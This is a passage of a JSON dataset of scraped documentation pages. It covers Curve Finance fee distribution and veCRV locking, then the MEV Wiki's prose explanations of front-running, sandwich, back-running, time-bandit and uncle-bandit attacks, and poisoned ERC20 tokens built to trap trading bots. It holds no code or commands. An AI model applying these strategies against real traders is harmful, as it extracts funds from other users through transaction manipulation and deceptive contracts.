green Claim button in the box labeled veCRV 3pool LP claim at the bottom of the page. Swapping 3CRV for a Stable Coin Note No more 3CRV will be distributed as fees going forward . The last week of 3CRV fees was 13 th June, 2024. However, there may be users who haven't claimed their 3CRV yet, so this information is left for them. 3CRV is the liquidity provider (LP) token of the 3pool, which consists of USDC, USDT, and DAI. If the pool is perfectly balanced with 33% USDC, 33% USDT, and 33% DAI, then one 3CRV will represent 0.33 USDC, 0.33 USDT, and 0.33 DAI. If a user wishes to withdraw 3CRV back into a stablecoin, they can do so at: https://curve.fi/#/ethereum/pools/3pool/withdraw . The user needs to select the stablecoin they would like to receive (withdrawing in a balanced or custom proportion is also an option) and click Withdraw . After the transaction is confirmed, they will receive the withdrawn stablecoin. Note When withdrawing 3CRV into a stablecoin, it might be beneficial to take a look at the balance ratios of the pool . Withdrawing in a token with a higher balance than the other two could result in a small premium for that token. On the other hand, withdrawing a token with a lower balance relative to the other two coins may lead to receiving a slightly lesser amount. Further information can be found here . How does it all work? When the burn process is initiated, a contract collects fees, which come in dozens of different forms such as stablecoins, volatile assets, or LP tokens. These tokens are then burned through various contracts and pools, and converted into crvUSD through swapping in Cowswap. Burning is a costly process due to the complexity and number of transactions involved. However, anyone can trigger this process at any time, provided they are willing to cover the associated costs. Fees can only be claimed for the week that has already concluded, as the burner cannot determine each user's entitlement before the end of that period. Fees will be made available weekly, within 24 hours after Thursday midnight UTC , as long as someone typically the Curve team has initiated the burn process beforehand. Info See the Fee Collection & Distribution page for more information about this process. Back to top", "labels": ["Documentation"]}, {"title": "Fee Collection & Distribution", "html_url": "https://resources.curve.fi/vecrv/fee-collection-distribution/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Fee Collection & Distribution Table of contents Admin Fees Stableswap Fees Cryptoswap Fees crvUSD Minting Market Fees Fee Collection & Distribution Architecture The New Cowswap Architecture Collection - Monday Exchanging - Tuesday Forwarding - Wednesday Distribution - Thursday Old Architecture Collection Exchanging (Burning) Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Admin Fees Stableswap Fees Cryptoswap Fees crvUSD Minting Market Fees Fee Collection & Distribution Architecture The New Cowswap Architecture Collection - Monday Exchanging - Tuesday Forwarding - Wednesday Distribution - Thursday Old Architecture Collection Exchanging (Burning) Distribution Home Locked CRV (veCRV) Fee Collection & Distribution The Curve DAO earns revenue from pools and crvUSD minting markets within the ecosystem. Each week this revenue is collected in different tokens and exchanged for a single token (currently crvUSD) which is then distributed to veCRV holders. Admin Fees The revenue comes in the form of admin fees. There are three different ways these accrue and are collected: Stableswap Fees Stableswap admin fees are 50% of the total fee charged using a Stableswap pool. The fee is taken in the output token of the swap and calculated against the final amount received. For example, if swapping from USDC to DAI, the fee is taken in DAI. Because of this every week each coin in the pool will have accrued fees that can be collected, e.g., for the pool below Admin Fees in USDC and DAI can both be collected. Cryptoswap Fees Cryptoswap admin fees are 50% of the total fee charged from a Cryptoswap pool. As Cryptoswap pools always maintain balance, these fees accrue in the LP token of a pool, which represents an equal share of all assets in the pool. LP shares are collected each week for these pools. crvUSD Minting Market Fees All accrued interest on debt in crvUSD minting markets is collected as crvUSD. Also the AMM for crvUSD minting markets (LLAMMA) has the ability to collect admin fees on swaps, but currently all fees in these pools go to liquidity providers. Fee Collection & Distribution Architecture Currently there are two ways fee collection, and distribution is being achieved. The old way relies on hardcoding exchange routes for each coin collected, and the manual collection of these each week. This is being phased out as a new architecture has been developed which incentivizes 3 rd parties to do the collection of fees and uses Cowswap's conditional orders to flexibly sell any coin/token collected. The distribution of each week's fees happens on Thursday. The fees are evenly split between all veCRV and can be claimed by veCRV holders at any time. See How to Claim veCRV Trading Fees for more information. The New Cowswap Architecture The new Cowswap Architecture is based around a 4 phases occurring on different days of the week. These phases are: collection on Monday, exchanging on Tuesday, forwarding on Wednesday and distribution on Thursday. See below for further details about each phase. Collection - Monday The collection phase occurs on Monday, it makes sure any significant amounts of fees are collected and ready to be sold the following day. Newer pools automatically claim admin fees throughout the week when users withdraw their liquidity from the pools. Otherwise, on Monday anyone can call functions which claim the fees from pools and then create conditional orders on Cowswap to sell the coins/tokens on Tuesday. Doing this work is incentivized by giving the caller a reward. Exchanging - Tuesday The exchanging phase happens on Tuesday. In this phase the conditional sell orders which were created on Monday during the collection phase can be executed by Cowswap searchers. Each coin/token is swapped separately, and by the end of the day all coins and tokens should be swapped into the target coin (currently crvUSD). Forwarding - Wednesday The forwarding phase happens on Wednesday. All the target coin (currently crvUSD) which was exchanged for on Tuesday is forwarded to the Fee Distributor on Ethereum Mainnet through an intermediary contract called a hooker. The hooker contract is a future proofing contract which can implement any arbitrary functions that are approved by the DAO. Calling the function to do this transfer is incentivized by giving the caller a reward. Distribution - Thursday Fees are distributed to veCRV holders weekly, within 24 hours after Thursday 00:00 UTC. These fees are split evenly among all veCRV holders, who can claim their share once each week after distribution. Users can first claim trading fees 8 days after the first Thursday following their lock. For example, if you lock on a Tuesday, you can claim trading fees 10 days later on Thursday. See How to Claim veCRV Trading Fees for more information. Info For more technical information regarding this new process please see the fee collection and distribution pages on the technical documentation: https://docs.curve.fi/fees/overview/ Old Architecture This is outdated and is currently being phased out. Collection Collection happened manually by calling withdraw functions on pools and crvUSD markets. Exchanging (Burning) This happened manually by hardcoding in different exchange routes for each token, e.g., to transfer wstETH to 3CRV (the old target coin) the process was: wstETH to stETH via unwrapping (wstETH Burner) stETH to ETH via swap through stETH/ETH curve pool (SwapStableBurner) ETH to USDT via swap through tricrypto pool (CryptoSwapBurner) USDT to 3CRV via depositing into 3pool (StableDepositBurner) This process worked well, but became cumbersome when an exchange route was needed for every coin in every pool. The exchanges also needed to be called manually. Distribution After the exchanging process is completed distribution happens by forwarding the exchanged coins to the fee distributor on Ethereum Mainnet. Fees are distributed to veCRV holders weekly, within 24 hours after Thursday 00:00 UTC. These fees are split evenly among all veCRV holders, who can claim their share once each week after distribution. Users can first claim trading fees 8 days after the first Thursday following their lock. For example, if you lock on a Tuesday, you can claim trading fees 10 days later on Thursday. See How to Claim veCRV Trading Fees for more information. Info For more technical information regarding this old process please see the fee collection and distribution pages on the technical documentation: https://docs.curve.fi/curve_dao/fee-collection-distribution/overview/ Back to top", "labels": ["Documentation"]}, {"title": "How to Lock CRV", "html_url": "https://resources.curve.fi/vecrv/locking-your-crv/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Locked CRV (veCRV) How to Lock CRV How to lock CRV Warning When a user locks their CRV tokens for voting, they will receive veCRV based on the lock duration and the amount locked. Locking is not reversible and veCRV tokens are non-transferable . If a user decides to vote-lock their CRV tokens, they will only be able to reclaim the CRV tokens after the lock duration has ended . Additionally, a user cannot have multiple locks with different expiry dates . However, a lock can be extended , or additional CRV can be added to it at any time . Users must specify the amount of CRV they wish to lock and their preferred lock duration. The minimum lock period is one week , while the maximum is four years . The amount of veCRV linearly decays over time , reaching 0 when the lock duration ends. To lock CRV tokens, visit either the old UI: https://dao.curve.fi/locker or new UI: https://curve.fi/#/ethereum/locker/create old UI new UI Tip The amount of veCRV received per CRV when locking depends on the duration of the lock. See the formula here . Back to top", "labels": ["Documentation"]}, {"title": "Locked CRV (veCRV)", "html_url": "https://resources.curve.fi/vecrv/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview Overview Table of contents veCRV Benefits Earning Fees Boosting CRV Rewards Governance Locking Information CRV to veCRV formula veCRV decay Extending Locks Adding CRV to Locks External veCRV Incentives External CRV Liquid Lockers How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents veCRV Benefits Earning Fees Boosting CRV Rewards Governance Locking Information CRV to veCRV formula veCRV decay Extending Locks Adding CRV to Locks External veCRV Incentives External CRV Liquid Lockers Home Locked CRV (veCRV) Locked CRV (veCRV) veCRV is an acronym for vote-escrowed CRV . Users can lock their CRV for a minimum of 1 week , maximum of 4 years , in return the user is given veCRV, veCRV amount decays linearly over the chosen lock time . veCRV is not transferrable . The longer you lock the more veCRV you receive, see the locking formula section for a detailed explanation but the simple explanation is: 1 CRV locked for 4 years = 1 veCRV 1 CRV locked for 3 years = 0.75 veCRV 1 CRV locked for 2 years = 0.5 veCRV 1 CRV locked for 1 year = 0.25 veCRV Locking was a concept created to align incentives for governance . Many coin voting systems have a problem where someone can buy tokens off the market to influence a governance vote, then sell the tokens after the vote passed/failed. These users can influence governance votes greatly and only take minimal risk by holding tokens for a few days. Locking stops this happening. Users must lock their tokens for a period of time to receive voting power, and users are rewarded with more voting power if they lock their tokens for a longer period of time. To find out how to lock see the guide here: lock CRV tokens Info The amount of veCRV shown as a statistic in various places is not a true reflection of the amount of locked CRV. As 1 veCRV does not equal 1 CRV due to locking time and decay. Read the locking information section of this page for more information veCRV Benefits Users with veCRV are given the following benefits: Earning Fees After 2 community-led proposals and subsequent governance votes in September 2020 (Link to votes: [1] , [2] ), the admin fees of Curve pools were set to 50%, this means 50% of all trading fees are distributed to veCRV holders , while the remaining 50% goes to the respective liquidity providers of the pools. This distribution was implemented to align the incentives between liquidity providers and governance participants (veCRV holders). Additionally, since the launch of Curve's own stablecoin (crvUSD), 100% of the accrued interest from crvUSD markets also goes to veCRV holders. veCRV holders don't receive any direct value from lending markets, but they do receive indirect value from increasing crvUSD supply. All collected fees are converted to crvUSD and distributed among veCRV holders. See Claiming Trading Fees for how to claim, or Fee Collection & Distribution for how they are collected. Boosting CRV Rewards One of the primary incentives for vote-locking is the boost mechanism . Users who provide liquidity to a swap pool and/or lending market with a reward gauge and have some vote-locked CRV receive boosted CRV rewards . See Boosting your CRV rewards for more information. Governance The veCRV balance represents the voting power of a user in the Curve DAO, which allows them to vote on on-chain proposals . Additionally, a crucial part of Curve governance are gauge weight votes . Curve token emissions are created in a way that allows veCRV holders to choose how future emissions are allocated . Liquidity pools on Curve can be added to the GaugeController via a successfully passed DAO vote, making them eligible to receive CRV token emissions. The gauge weights determine how much CRV each pool receives. Every Thursday at 00:00 UTC , the updated gauge weights are applied. More info on Voting and Gauge Weights Locking Information When a user locks their CRV tokens for voting, they will receive veCRV based on the lock duration and the amount locked. Locking is not reversible and veCRV tokens are non-transferable . If a user decides to vote-lock their CRV tokens, they will only be able to reclaim the CRV tokens after the lock duration has ended . Additionally, a user cannot have multiple locks with different expiry dates . However, a lock can be extended , or additional CRV can be added to it at any time . CRV to veCRV formula When locking CRV to veCRV you are rewarded with an amount of veCRV based on how long you lock, the minimum time is 1 week, the maximum time is 4 years: \\[ \\text{veCRV} = \\frac{\\text{CRV} \\times \\text{lockTime}}{4 \\text{ years}} \\] The maximum duration of a lock is 4 years, users cannot lock for longer periods to keep the 1 CRV: 1 veCRV ratio, they must instead continue extending their lock. Users can withdraw their CRV at any time after their veCRV has decayed to 0 (lock time has expired). veCRV decay The amount of veCRV a user has will decay over time as their unlock date draws closer. The lockTime parameter in the equation above should more aptly be called lockTimeLeft as a user's veCRV is constantly recalculated. There are two ways a user can change their lock. They can add to their lock or they can extend their lock. What happens in both situations and how it affects their veCRV and the decay is shown in the charts below. Extending Locks Extending locks means increasing the time left on a lock. In the above example if Alice locked 100 CRV for 4 years, after 3 years she would only have 25 veCRV left as her lock time is now 1 year. If she extended her lock to be 4 years again after these 3 years, she would again have 100 veCRV: Adding CRV to Locks Adding CRV to locks means the unlock date will remain the same, but more CRV will be locked, meaning more veCRV. If Alice locked 100 CRV for 4 years, but after 2 years added 200 CRV to her lock, she would have 150 veCRV (300 CRV total locked for 2 years). This veCRV would continue to decay to 0 over the next 2 years: External veCRV Incentives External marketplaces (out of Curve's purview) have been created to pay for users to vote for specific swap pools/lending markets and receive rewards in return. Curve does not condone or condemn such marketplaces or behavior. It is within the users' rights to use these marketplaces as they wish. These incentives can be very lucrative and can be multiples of the platform fees earned by veCRV weekly. These incentives work in the following way: A project wants liquidity for their token in a swap pool on Curve The project puts up a incentive for users to vote for the swap pool in the weekly gauge vote. This incentive can be of any amount in any token, e.g., $100k in ETH. If users vote for the pool, they receive a portion of the incentive based on how much veCRV they have, and how much voted for the pool total. e.g., 2 users vote for the pool Alice and Bob. Alice has 100k veCRV, Bob has 900k veCRV. The total which voted for the pool was 1M. The $100k ETH get split between Alice and Bob based on their veCRV, so Alice gets $10k in ETH, Bob gets $90k in ETH. External CRV Liquid Lockers CRV liquid lockers are products outside of the Curve platform that allow users to deposit CRV in exchange for a new token. For example, tokenCRV (a hypothetical token) would be received when locking 1 CRV for 1 veCRV permanently. While these tokens aim to represent locked veCRV positions, they sometimes lack the benefits that come with holding veCRV directly. Since the underlying CRV is permanently locked, users cannot redeem their tokenCRV - they can only sell it on the open market. Because these tokens can always be minted by depositing 1 CRV but can only be exited through market sales, their price naturally settles below 1 CRV as users seek liquidity. These tokens are risky, the only way to guarantee being able to withdraw the same amount of CRV as is deposited is to lock through the Official Curve Locker UI . Back to top", "labels": ["Documentation"]}] \ No newline at end of file +[{"title": "Introduction", "html_url": "https://www.mev.wiki/", "body": "Introduction Welcome to the MEV Wiki. Next Resource List Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Resource List", "html_url": "https://www.mev.wiki/resource-list", "body": "Resource List Previous Introduction Next Terms and Concepts Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Terms and Concepts", "html_url": "https://www.mev.wiki/terms-and-concepts", "body": "Terms and Concepts Exploring the main concepts involving MEV. DeFi Automated Market Maker Arbitrage Lending Platforms Slippage Liquidations Priority Gas Auctions Transaction Ordering Previous Resource List Next DeFi Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "DeFi", "html_url": "https://www.mev.wiki/terms-and-concepts/defi", "body": "DeFi What is DeFi? DeFi is a subset of finance-focused decentralized protocols that operate autonomously on blockchain-based smart contracts. The total value locked in DeFi amounts to >$50B USD . Link: https://defipulse.com/ Previous Terms and Concepts Next Automated Market Maker Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Automated Market Maker", "html_url": "https://www.mev.wiki/terms-and-concepts/automated-market-maker", "body": "Automated Market Maker What is an AMM? A type of Decentralised Exchange. Contrary to traditional limit order-book-based exchanges (which maintain a list of bids and asks for an asset pair), AMM exchanges maintain a pool of capital (a liquidity pool) with at least two assets. A smart contract governs the rules by which traders can purchase and sell assets from the liquidity pool. The most common AMM mechanism is a constant product AMM, where the product of an asset X and asset Y in a pool have to abide by a constant K. Examples of AMM Exchanges include Uniswap , Sushiswap , Balancer . Previous DeFi Next Arbitrage Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Arbitrage", "html_url": "https://www.mev.wiki/terms-and-concepts/arbitrage", "body": "Arbitrage What is arbitrage trading? Arbitrage is the simultaneous purchase and sale of the same asset in different markets in order to profit from differences in the asset's listed price. Previous Automated Market Maker Next Lending Platforms Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Lending Platforms", "html_url": "https://www.mev.wiki/terms-and-concepts/lending-platforms", "body": "Lending Platforms What is a decentralised lending platform? Debt is an essential tool in DeFi. As DeFi applications typically operate without Know Your Customer (KYC), the borrowers debt must be over-collateralized. Hence, a borrower must collateralize (lock) 150% of the value that the borrower wishes to lend out. The collateral acts as a security to the lender if the borrower doesnt pay back the debt. Examples of lending platforms include Aave and Compound . Previous Arbitrage Next Slippage Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Slippage", "html_url": "https://www.mev.wiki/terms-and-concepts/slippage", "body": "Slippage What is price slippage? Slippage is defined as the move in the price of a security between the time you decided to transact in it and the time your order was in the market. When performing a trade on an AMM, the expected execution price may differ from the real execution price because the expected price depends on a past blockchain state, which may change between the transaction creation and its execution e.g., due to front-running transactions. Previous Lending Platforms Next Liquidations Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Liquidations", "html_url": "https://www.mev.wiki/terms-and-concepts/liquidations", "body": "Liquidations What are liquidations in collaterized debt? In Lending Platforms, if the collateral value decreases and the collateralization ratio falls below 150%, the collateral can be freed up for liquidation. Liquidators can then purchase the collateral at a discount to repay the debt. Previous Slippage Next Priority Gas Auctions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Priority Gas Auctions", "html_url": "https://www.mev.wiki/terms-and-concepts/priority-gas-auctions", "body": "Priority Gas Auctions What is a priority gas auction? As pure arbitrage opportunities offer unconditional revenue, bots often compete against each other by bidding up transaction fees (gas) in PGAs which drives up fees for other users. Previous Liquidations Next Transaction Ordering Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Transaction Ordering", "html_url": "https://www.mev.wiki/terms-and-concepts/transaction-ordering", "body": "Transaction Ordering What is transaction ordering? Blockchains typically prescribe specific rules for consensus, but there are only loose requirements for miners on how to order transactions within a block. Many attacks are centered around how miners order transactions within blocks. Previous Priority Gas Auctions Next Attack Examples Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Attack Examples", "html_url": "https://www.mev.wiki/attack-examples", "body": "Attack Examples Some example of attacks. Front-running Sandwich attack Back-running Liquidations Time bandit attack Uncle bandit attack Previous Transaction Ordering Next Front-running Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Front-running", "html_url": "https://www.mev.wiki/attack-examples/front-running", "body": "Front-running What is front-running? Front-running is the process by which an adversary observes transactions on the network layer and then acts upon this information by, for instance, issuing a competing transaction, with the hope that this transaction is mined before a victim transaction e.g. Transaction A is broadcasted with a higher gas price than an already pending transaction B so that A gets mined before B. Previous Attack Examples Next Sandwich attack Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Sandwich attack", "html_url": "https://www.mev.wiki/attack-examples/sandwich-attack", "body": "Sandwich attack What is a sandwich attack? Alice wants to buy a Token A on a Decentralised Exchange (DEX) that uses an automated market maker (AMM) model. An adversary which sees Alices transaction can create two of its own transactions which it inserts before and after Alices transaction (sandwiching it). The adversarys first transaction buys Token A, which pushes up the price for Alices transaction, and then the third transaction is the adversarys transaction to sell Token A (now at a higher price) at a profit. Previous Front-running Next Back-running Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Back-running", "html_url": "https://www.mev.wiki/attack-examples/back-running", "body": "Back-running What is back-running? Back-running occurs when a transaction sender wishes to have their transaction ordered immediately after some unconfirmed \"target transaction\". Example: A back-running bot that back-runs new token listings. Bot monitors the Ethereum mempool for new pairs being created on Uniswap. If it finds a new pair the bot places a buy transaction immediately behind the initial liquidity. The bot swoops in and buys as many tokens as possible (but not all of them as there needs to be an opportunity for others to buy tokens as well).The bot then waits for the price to go up as other traders buy the token from Uniswap and proceeds to sell back the tokens at a higher price. The key in this strategy is to be the first to buy tokens, but only after the token has been launched . In order to maximise their chances of being mined immediately after their target, a typical backrunner will send many identical transactions, with gas price identical to that of the target transaction, sometimes from different accounts. https://amanusk.medium.com/the-fastest-draw-on-the-blockchain-bzrx-example-6bd19fabdbe1 Previous Sandwich attack Next Liquidations Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Liquidations", "html_url": "https://www.mev.wiki/attack-examples/liquidations", "body": "Liquidations How are liquidations exploited? Back-running strategies also apply to liquidations whereby a transaction sender wishes to be the first to liquidate a loan right after a price oracle update (which will allow liquidation to be triggered). Fixed spread liquidation used by Compound, Aave, and dYdX allows a liquidator to purchase collateral at a fixed discount when repaying debt. Strategy 1 Strategy 2 A detects a liquidation opportunity at block B (i.e., after the execution of B). A then issues a liquidation transaction T, which is expected to be mined in the next block B +1. A attempts to destructively front-run other competing liquidators by setting high transaction fees for his liquidation transaction T. A observes a transaction T, which will create a liquidation opportunity (e.g., an oracle price update transaction which will render a collateralized debt liquidatable). A then back-runs T with a liquidation transaction TA to avoid the transaction fee bidding competition. The auction liquidation allows a liquidator to start an auction that lasts for a pre-configured period (e.g., 6 hours). Competing liquidators can engage and bid on the collateral price. Previous Back-running Next Time bandit attack Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Time bandit attack", "html_url": "https://www.mev.wiki/attack-examples/time-bandit-attack", "body": "Time bandit attack What is a time bandit attack? Time-bandit attacks are attacks where miners rewrite blockchain history to steal funds allocated by smart contracts in the past. If block rewards are small enough compared to MEV, it can be rational for miners to destabilize consensus. Imagine there are two miners, Sam and Dan, who are paid a $100 reward for each block they find. Sam has found 3 blocks, the first of which contained a $10,000 arbitrage opportunity. Now Dan has a choice: he can either mine on top of Sams 3 blocks, or he can attempt to re-mine the first block in order to take the Uniswap arbitrage for himself. The $10,000 is much more lucrative than the $100 block reward, and Dan is more rational than honest, so he decides to re-mine the first block. While Dans at it, since the current longest chain is height 3, he also re-mines the second and third blocks (and captures any MEV that was in those, too). After the re-organization, Dan owns the longest chain and he and Sam can progress from the third block. Previous Liquidations Next Uncle bandit attack Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Uncle bandit attack", "html_url": "https://www.mev.wiki/attack-examples/uncle-bandit-attack", "body": "Uncle bandit attack What is a uncle bandit attack? Bundles are groups of transactions Flashbots users submit. Those transactions must be included in the order submitted, and either the whole bundle is included, or nothing is. A bundle should never be split up. Robert Miller found that for a specific bundle, only the \"Buy\" part of a sandwich bundle submitted had landed on-chain, and right after that Buy someone else had inserted a 7 gas transaction that arbitraged it. How? In Ethereum occasionally two blocks are mined at roughly the same time, and only one block can be added to the chain. The other gets \"uncled\" or orphaned. Anyone can access transactions in an uncled block and some of the transactions may not have ended up in the non-uncled block. In a way some transactions end up in a sort of mempool like state: they are now public as a part of the uncled block and perhaps still valid too. A Sandwicher's bundle was included in an uncled block. An attacker saw this, grabbed only the Buy part of the Sandwich, threw away the rest, and added an arbitrage after. The attacker then submitted that as a bundle, which was then mined. Instead of seeing something late in time and rewinding it (time-bandit attack), the uncle bandit attack is when an attacker sees something in an uncle and brings it forward. This also shows that attacks extend beyond the mempool and into uncled blocks as well. https://twitter.com/bertcmiller/status/1382673587715342339?s=20 Previous Time bandit attack Next Attempts to trick the bots Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Attempts to trick the bots", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots", "body": "Attempts to trick the bots What are the ways some have come up with to trick bots? Salmonella Kattana Other attempts Previous Uncle bandit attack Next Salmonella Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Salmonella", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/salmonella", "body": "Salmonella What is Salmonella? Salmonella intentionally exploits the generalised nature of front-running setups. The goal of sandwich trading is to exploit the slippage of unintended victims, so this strategy turns the tables on the exploiters. Its a regular ERC20 token, which behaves exactly like any other ERC20 token in normal use-cases. However, it has some special logic to detect when anyone other than the specified owner is transacting it, and in these situations it only returns 10% of the specified amount - despite emitting event logs which match a trade of the full amount. Link: https://github.com/Defi-Cartel/salmonella Previous Attempts to trick the bots Next Kattana Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Kattana", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/kattana", "body": "Kattana What is Kattana? The Kattana team included a trap for front-running bots during their token listing. There is a line in the code that disallows the front-runner from selling all tokens. So a front-runner paid 68 ETH to the miner and ended up with tokens he wasn't able to sell. Link: https://twitter.com/SiegeRhino2/status/1381035640989626369?s=20 Previous Salmonella Next Other attempts Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Other attempts", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/other-attempts-to-trick-the-bot", "body": "Other attempts What are the other attempts to trick the bot? Link: https://twitter.com/bertcmiller/status/1381296074086830091?s=20 Background Instead of users paying transaction fees via gas prices, Flashbots users pay fees via a smart contract call which transfers ETH to a miner. Miners receive bundles of transaction from users and include the bundle that pays them the most. Users love this because they only pay for transactions that are included and they can determine the fee that they are going to pay. Sandwich bots watch the mempool for users buying on DEXes and sandwich them: running the price up before the victim buys and dumping after for a profit. Those 3 txs (buy, victim transaction, sell) make up a bundle. Note the Sandwich sell transaction contains the smart contract payment to the miner. It's important that payment goes to the miner on the sell transaction! That should only happen after the bot has secured profit from selling the tokens bought in their front-run. If that sell fails then there is no payment to the miner, and thus their bundle shouldn't be included To be even more secure, bots will simulate their transactions on local infrastructure. Bots won't send transactions unless the simulation goes well. Paying transaction fees only on the sell transaction of a sandwich should defend against this. No profit, no payment. Simulation vs Reality Some really smart people found weaknesses among all of these defenses. The first defense was that simulation was done with an ERC20 transfer function that checked to see if the block was a mined by Flashbots' miners, and if so it transfers way less out. Local simulations look fine but do not work in production. The second defense - Payment only on a sell transaction Again: Sandwich bots make miner payment conditional on profit. That was broken by making the ERC20 token pay the miner. Thus even with the Sandwich bot sell failing, the miner would still get paid! Here's what actually happened: Sandwich bot gets baited and buys 100 ETH of the poisonous token. Poisonous token owner's bait triggers custom transfer function, which pays 0.1 ETH to the miner Sandwich bot's sell doesn't work because of the poisonous token. As the sandwich bot submitted these three transactions in a bundle all three were included: the successful buy, the bait, and the failed sell. The poisonous ERC20's payment via the custom transfer was what incentivized a miner to include it! It is estimated that the first person to do this made about 100 ETH. You can see the poisoned ERC20 Uniswap transactions here . From Victim to Predator One of their victims was one the most successful Flashbots bot operators, and they immediately sprung into action. In a short period of time the victim turned into an apex predator. They launched a similar but slightly different ERC20 (YOLOchain), and ended up successfully baiting many more sandwichers. They made 300 ETH doing so! Previous Kattana Next Solutions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Solutions", "html_url": "https://www.mev.wiki/solutions", "body": "Solutions 